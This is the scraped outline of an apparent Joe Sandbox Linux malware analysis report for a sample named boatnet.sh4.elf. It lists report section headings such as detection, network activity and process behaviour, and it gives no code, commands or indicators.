Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report boatnet.sh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: boatnet.sh4.elf PID: 5479, Parent PID: 5405

General

File Activities

File Opened

File Read

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Listening

Socket Connecting

Chronological Activities

Linux Analysis Report
boatnet.sh4.elf